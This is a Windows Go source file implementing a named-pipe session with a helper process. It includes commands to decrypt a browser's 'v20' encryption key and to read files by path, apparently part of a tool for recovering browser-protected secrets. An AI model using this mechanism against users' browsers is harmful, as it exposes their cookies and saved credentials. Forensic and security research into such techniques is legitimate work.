Files

294 lines
6.7 KiB
Go
Raw Permalink Normal View History

2026-08-27 11:21:43 -06:00
//go:build windows
package platform
import (
"crypto/rand"
"encoding/hex"
"fmt"
"sync"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
type PipeSession struct {
mu sync.Mutex
hPipe windows.Handle
hProcess windows.Handle
pid uint32
ownsProcess bool
job windows.Handle
closed bool
}
var (
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
)
func createPipeName() string {
b := make([]byte, 8)
rand.Read(b)
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
}
func createPipeServer(pipeName string) (windows.Handle, error) {
namePtr, err := syscall.UTF16PtrFromString(pipeName)
if err != nil {
return 0, err
}
const (
PIPE_ACCESS_DUPLEX = 0x3
PIPE_TYPE_BYTE = 0x0
PIPE_READMODE_BYTE = 0x0
PIPE_WAIT = 0x0
PIPE_UNLIMITED_INSTANCES = 0xFF
)
r, _, err := procCreateNamedPipeW.Call(
uintptr(unsafe.Pointer(namePtr)),
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
65536, // output buffer
65536, // input buffer
15000, // timeout ms
0,
)
if r == ^uintptr(0) {
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
}
return windows.Handle(r), nil
}
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return fmt.Errorf("CreateEvent: %w", err)
}
defer windows.CloseHandle(hEvent)
ov := windows.Overlapped{HEvent: hEvent}
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
if r != 0 {
return nil // already connected
}
if err == windows.ERROR_PIPE_CONNECTED {
return nil
}
if err != windows.ERROR_IO_PENDING {
return fmt.Errorf("ConnectNamedPipe: %w", err)
}
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return fmt.Errorf("pipe connect timeout")
}
return nil
}
func (s *PipeSession) pipeSend(data []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return fmt.Errorf("pipe session closed")
}
length := uint32(len(data))
lengthBytes := []byte{
byte(length),
byte(length >> 8),
byte(length >> 16),
byte(length >> 24),
}
var written uint32
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
if err != nil || written != 4 {
return fmt.Errorf("write length: %w", err)
}
if length > 0 {
var totalWritten uint32
for totalWritten < length {
var n uint32
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
if err != nil || n == 0 {
return fmt.Errorf("write data: %w", err)
}
totalWritten += n
}
}
return nil
}
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return 0, nil, fmt.Errorf("pipe session closed")
}
var lengthBuf [4]byte
var totalRead uint32
deadline := time.Now().Add(10 * time.Second)
for totalRead < 4 {
if time.Now().After(deadline) {
return 0, nil, fmt.Errorf("pipe recv timeout")
}
var avail uint32
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
if r == 0 {
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
}
if avail < 4-totalRead {
time.Sleep(50 * time.Millisecond)
continue
}
var n uint32
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read length: %w", err)
}
totalRead += n
}
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
if totalLen < 1 || totalLen > 100*1024*1024 {
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
}
buf := make([]byte, totalLen)
totalRead = 0
for totalRead < totalLen {
var n uint32
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read data: %w", err)
}
totalRead += n
}
status = buf[0]
data = buf[1:]
return status, data, nil
}
func (s *PipeSession) Close() {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return
}
s.closed = true
s.sendExitLocked()
time.Sleep(100 * time.Millisecond)
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
windows.CloseHandle(s.hPipe)
if s.ownsProcess && s.hProcess != 0 {
if s.job != 0 {
windows.CloseHandle(s.job)
s.job = 0
}
windows.TerminateProcess(s.hProcess, 0)
windows.WaitForSingleObject(s.hProcess, 3000)
windows.CloseHandle(s.hProcess)
} else if s.hProcess != 0 {
windows.CloseHandle(s.hProcess)
}
}
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
h := s.hProcess
if h == 0 {
return
}
go func() {
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return
}
s.mu.Lock()
wasClosed := s.closed
s.mu.Unlock()
if wasClosed {
return
}
var code uint32
if err := windows.GetExitCodeProcess(h, &code); err != nil {
return
}
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
}()
}
func (s *PipeSession) sendExitLocked() {
exitCmd := []byte("EXIT")
length := uint32(len(exitCmd))
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send KEY command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv KEY response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("decrypt failed: %s", string(data))
}
return data, nil
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
cmd := fmt.Sprintf("READ:%s", path)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send READ command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv READ response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("read failed: %s", string(data))
}
return data, nil
}
var ActivePipeSession *PipeSession